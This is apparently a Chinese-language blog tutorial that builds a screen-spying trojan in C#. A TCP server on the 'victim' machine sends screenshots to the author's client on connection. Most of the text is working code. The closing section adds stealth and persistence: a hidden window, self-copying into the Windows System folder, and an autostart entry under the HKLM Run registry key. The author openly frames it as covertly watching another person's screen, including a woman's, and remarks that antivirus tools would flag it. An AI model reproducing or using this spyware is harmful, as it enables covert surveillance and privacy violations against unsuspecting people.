這可能是菜鳥程式員最喜歡搞的事了哈,並且樂此不彼O(∩_∩)O哈!
最開始本來只是想寫段遠程傳檔案的代碼 寫著寫著我就突發奇想 想把別人電腦的截屏傳過來,是不是很邪惡 嘿嘿
倒騰了一陣原來還是挺簡單的 並且速度好像還挺快。 在這裡我就不談socket編程的基本了哈 直奔主題
我們要實現的功能是:在我有需要的時候就把受害人電腦的截屏資料傳到我電腦上
簡單分析一下 參見灰鴿子 啊那啥的常見木馬程式我們就知道主動傳資料的一方 也就是server程式是放在受害人電腦上的 client程式是放在我電腦上的
什麼叫有需要呢 就是我主動去連server端。
server端一檢測到有串連就把資料發過來然後中斷連線 一檢測到有串連就把資料發過來然後中斷連線 明白了吧 就是這麼簡單(¯▽¯;)
好 開工
1服務端編程
首先截屏的代碼 四句 網上到處都有:
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);Graphics g = Graphics.FromImage(myImg);g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);myImg.Save("Capture.gif", System.Drawing.Imaging.ImageFormat.Gif);
資料有瞭然後就是發送了 也就是最常見的IO操作 ,把從本地檔案讀到的資料不停的寫到網路流中:
//準備本機資料進行寫入網路FileStream fs = File.OpenRead("Capture.gif");//寫入訊息頭 檔案長度,用戶端根據此長度進行讀取writer.Write(fs.Length);writer.Flush();//本地檔案緩衝區byte[] data = new byte[10];int reds;int total = 0;//寫入的過程://先從本地檔案讀到緩衝區中,然後把緩衝區的位元組數寫入網路 //直到網路寫入成功後 再讀取足夠的位元組數到本地檔案緩衝區 //如此往複直到整個檔案全部傳輸出去while ((reds = fs.Read(data, 0, data.Length)) > 0){ writer.Write(data, 0, reds); total += reds;}fs.Close();//如果沒有進行close操作 tcp連接埠緩衝的位元組可能不會立即被發往用戶端 //所以這個是必須的writer.Flush();
好了服務端就這樣了Ok 但是為了符合物件導向編程的原則 我們依然用對象的方式把“受害的過程”進行了一個封裝
建立一個執行個體代表一次“受害” 建立一個執行個體代表一次“受害” 這樣更便於理解。
請自己把上邊抓屏以及往網路流寫資料的代碼粘到下邊的send方法裡:
//用戶端線程class ServerToClient{ TcpClient clientSocket; BinaryWriter writer; public ServerToClient(TcpClient client) { clientSocket = client; NetworkStream stream = clientSocket.GetStream(); writer = new BinaryWriter(stream, Encoding.ASCII); } public void send() { } public void close() { writer.Close(); clientSocket.Close(); }}
“受害者”那端一開機程式就會自動運行 等待“有需要”的人過來 ,也就是偶啦 哇哈哈(¯▽¯;) 。 然後把自己截屏的資料給他 給完過後繼續等待下一次被蹂躪。
下面是調用的代碼:
static void Main(string[] args){ TcpListener server = new TcpListener(6000); server.Start(); while (true) { ServerToClient c = new ServerToClient(server.AcceptTcpClient()); Console.WriteLine("新的串連"); //防止傳輸過程中用戶端掉線 try { //c.send(); c.sendAdvance(); Console.WriteLine("發送完成"); c.close(); } catch (Exception ex) { Console.WriteLine("用戶端已離線:" + ex.Message); } } server.Stop(); Console.ReadKey();}
2用戶端編程
用戶端要做的事就很簡單了: 請求串連->連上->傳資料->關閉串連
串連的時候只需要提供server端ip和連接埠就可以了 這裡我們依然封裝一個Client類來進行這些所有的操作 在建構函式中進行串連伺服器:
TcpClient client;long fileLength;BinaryReader reader;byte[] data = new byte[8192];//準備工作public Client(IPAddress serverIp){ int port = 6000; client = new TcpClient(); client.Connect(serverIp, port); Console.WriteLine("連上了"); NetworkStream stream = client.GetStream(); reader = new BinaryReader(stream);}
其實重要的還是接收資料。 程式設計是一個嚴謹的東西 就跟泡妞是一種很嚴肅的社會活動一樣 ,幾個位元組的誤差就足以讓串連中斷 或者是映像顯示不出來
我們在server端寫資料的時候 writer.Write(fs.Length); 那麼這是什麼意思呢 把檔案的大小值寫入網路流的開始處。 讓用戶端在開始的時候就這道這個檔案有多大
讀到多少位元組後就不應該讀了。
fs.Length 是一個long型 那麼long型到底是個神馬意思呢 它代表Int64這個結構體 他佔8個位元組。就像這樣的 0x00000000000000ff
哥們兒你別擔心不會有一個正常檔案的長度會超過它的最大值的
在用戶端我們讀到的始終是連續或者不連續的位元組碼 我們得對他進行解碼才知道server端傳過來的檔案到底有多大
關於二進位轉十進位我專門寫了一個函數:
//位元組數組轉長整型(二進位轉十進位)static long getNum(byte[] bytes){ //int srcData = 312705998; //比如上面的int值在記憶體中是0x12a383ce 的形式儲存的 //但是他在檔案中儲存確是反過來的(低位在前 高位在後) //如果我一次讀取4位元組就是下面的形式 //byte []data = {0xce,0x83,0xa3,0x12}; long[] nums = { 1, 256, 65536, 16777216, 4294967296, 1099511627776, 281474976710656, 72057594037927936 }; if (bytes.Length > nums.Length) throw new Exception("溢出"); long num = 0; for (int i = 0; i < bytes.Length; i++) num += (bytes[i] * nums[i]); return num;}
下邊是調用getNum擷取資料長度以及 擷取資料的過程:
注意他的工作過程,
首先會讀取8個位元組 這些所有的read操作都是調用的同步方法 就是說如果讀不到8個位元組 這個操作就會一直在那裡掛起
(這篇隨筆是以前寫的 有錯誤 更正一下:"果讀不到8個位元組 這個操作就會一直在那裡掛起"
同步方法沒錯 但是準確的意思是 他會接收緩衝區的第一次資料 沒有接收到不會繼續執行 並不一定是8個位元組 位元組數要看服務端
也許網路環境也會引起少發 但是這種幾率很小 因為TCP是一種保證資料完整性的協議 如果資料不完整 服務端會重新發送
具體讀取了多少位元組得看read()的傳回值
但是因為有上面的概念所以我們不用擔心讀不到檔案長度 也就是8個位元組 也不用判斷read()的傳回值
這種概念有點“包”的意味吧 package ,對這種一次一次的資料的概念我們把他稱之為“包” 處理粘包的問題是TCP編程裡必須會的。
還有這種:
TcpClient client = new TcpClient();
client.Connect(@"localhost", 104);
NetworkStream stream = client.GetStream();
BinaryReader br = new BinaryReader(stream);
br.ReadString();
其實這種方式有很大的局限性
服務端必須用同樣的方式寫才行:
bw.Write("simple string")
)
得到資料長度過後 每read一次 就把讀取到的位元組數累加到reds變數中
如此往複 直到reds大於fileLength 退出迴圈
為了方便我們在這次傳輸完成後就直接把串連關閉了
//接收資料public void recv(){ FileStream fs = File.Create(DateTime.Now.Ticks+ ".gif"); byte[] fileLengthSrc = new byte[8]; try { reader.Read(fileLengthSrc, 0, 8); long fileLength = getNum(fileLengthSrc); long reds = 0;//已經讀取位元組數 //開始傳輸 while (reds < fileLength) { if (fileLength - reds > data.Length) { int red = reader.Read(data, 0, data.Length); if (red == 0) break; fs.Write(data, 0, red); reds += red; } else if (fileLength - reds < data.Length && fileLength - reds > 0) { int red = reader.Read(data, 0, data.Length); if (red == 0) break; fs.Write(data, 0, red); reds += red; } Thread.Sleep(10); } } catch (Exception ex) { Console.WriteLine("資料轉送異常或者服務端已離線:" + ex.Message); } fs.Flush(); fs.Close(); reader.Close(); client.Close();}
用戶端調用過程:
static void Main(string[] args){ IPAddress serverIp = new IPAddress(new byte[]{127,0,0,1}); if(args.Length>0) IPAddress.TryParse(args[0], out serverIp); Client c= new Client(serverIp); c.recv(); Console.WriteLine("檔案接收完成..."); //Console.ReadKey();}
用戶端及服務端執行過程:
3後續
關於介面
為什麼要做成沒有介面的呢,有介面不是更好嗎。首先我們只是要驗證這一過程原理 有沒有介面都介面都無所謂 如果你非要用滑鼠點 你可以建個批處理
並且如果我要監視多台電腦 我還可以在批處理裡這樣寫:
for /l %%a in (1,1,10) do socketdemo 192.168.0.%a
命令列是多麼的方便 為什麼linux都是命令列優先 所以說要介面是非程式員的不靠譜的說法哈。
關於server端資料的發送
其實呢上邊資料發送的代碼跟大家羅裡吧嗦了半天 只是跟大家說明資料發送的原理 ,
某些東西雖然看似簡單其實內部它是經過了這些艱辛的過程的
實際上只要兩句就完成資料發送 。丫的 現在才說 嘿嘿嘿 別打我吖 (;°○° )
ServerToClient類的send方法也可以是這樣的 並且還省去了轉存檔案的過程直接寫到網路流中:
public void sendAdvance(){ Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); Graphics g = Graphics.FromImage(myImg); g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); writer.Write(long.MaxValue);//不要怕 用戶端只要read==0會自動break的 myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif); writer.BaseStream.Flush(); }
更加讓你抓狂的:
你數數上邊recv 接收資料的方法總共寫了多少行代碼 ,四十多行吧 看看四行代碼是怎樣實現同樣功能的 對蓋茨大叔大愛(‵▽′)
注意別忘了添加引用 項目上->右鍵->添加引用 System.Drawing
當然send方法裡請把對應的 writer.Write(long.MaxValue); 去掉 以免讀取資料時出錯
//接收資料public void recv(){ try { Image bmp = Bitmap.FromStream(reader.BaseStream); bmp.Save(DateTime.Now.Ticks + ".gif"); } catch (Exception ex) { Console.WriteLine("資料轉送異常或者服務端已離線:" + ex.Message); } reader.Close(); client.Close();}
關於socket的有些東西還有必要說下
int red = reader.Read(data, 0, data.Length);
1如果red==0 代表另一端是先發送資料然後通過正常的close方法中斷連線的,所以red==0代表資料已經讀完了 而不是什麼異常
2如果一邊已經正常關閉串連 代表資料已經完全緩衝到目標機器上去了。如果一邊非正常關閉串連(掉線)另一邊進行read或write操作會提示串連異常
3任意一端的close方法只是關閉自己這邊的串連 跟另一邊沒有任何關係也不會往另一邊發資料確認 說“我已經關閉了” 只是發送的這些資料讀完後 對方每次read都返回0
4一個socket代表一個串連到另一端的資料緩衝區 或許這樣的說法更貼切
更符合“木馬”的風格
就把上面那東東拿到人家MM的電腦上去運行監視人家的螢幕 納尼?,運行個毛線啊 那麼大的dos視窗 人家一下就給你關了
所以server程式我們還需要讓他完成3個工作
1讓他視窗消失,至少要在案頭上 工作列上看不到 。讓進程消失 那個屬於windows底層的東西哈 本人還沒那麼高的功力 希望哪個高手教教俺啊
2自我複製
3添加到啟動項 開機自動啟動 嘿嘿
第一個簡單 建立一個winform程式 並添加一個類 然後把上訴server端代碼 拷過去 並在formLoad事件中調用 static_Void_Main裡的代碼
最重要的是把表單的 showInTaskbar設定為false 讓表單啟動時不在工作列顯示表徵圖, 和windowsState設定為Minimized 讓表單啟動時就是最小化狀態
第二個也很簡單通過System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;就可取到當前進程對應的可執行程式的目錄
後面的自然明白了噻 嘿嘿嘿 嘿嘿
開機自動啟動 通常往註冊表的這個節點寫值就ok了 Software\Microsoft\Windows\CurrentVersion\Run
註冊表是一個大的樹狀結構的資料庫 每個節點下可能有0到多個子節點 每個節點下有1到多個索引值對 windows通過它來動態裝配某些功能 就這樣而已沒什麼神奇的
自我複製以及加開機啟動代碼:
void copyMyself()//{ RegistryKey hkml = Registry.LocalMachine; RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); object value = software.GetValue("lovedrxiang"); if (value!=null) return; string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; string folder= Environment.GetFolderPath(Environment.SpecialFolder.System); string dest = folder+src.Substring(src.LastIndexOf(@"\")); if (!File.Exists(dest)) { File.Copy(src, dest); software.SetValue("lovedrxiang", dest); }}
這個其實完全就是一個正常合理合法的程式 壓根兒就不是什麼木馬。360還有啥子管家啊 是一個讓人蛋疼的東西 。並且對方不能開防火牆
稍有不對 比如檔案名稱取成svchost 在windows目錄拷東西啊 註冊表操作啊 通通都會給使用者彈個通紅通紅的大大的框框出來提示使用者“你中木馬了,建議立即刪除”
可見360完全是面對電腦傻瓜使用者的 也指不定360會從你電腦上拷啥子東西嘩啦嘩啦就傳到他的伺服器上去了 然後360的管理員就在那慢慢欣賞 嘿嘿。
既然是.net平台的那麼必須得裝.netFrameWork (以後俺跟大家講講 .net平台的程式怎樣打包到在沒有安裝.netFrameWork的機器上運行)
基於以上 這限制也太多了吧 所以得悄悄沒人的時候搞(‵▽′) 以本程式沒什麼實質性的用途 純粹博大家一笑
如果你跟對方MM很熟的話就另當別論了哈
最後是全部源碼 猛擊此處
最後還有想用傳映像的方式做遠控的童鞋 這個是相當困難滴哈 網上有這方面的文章 自己去發掘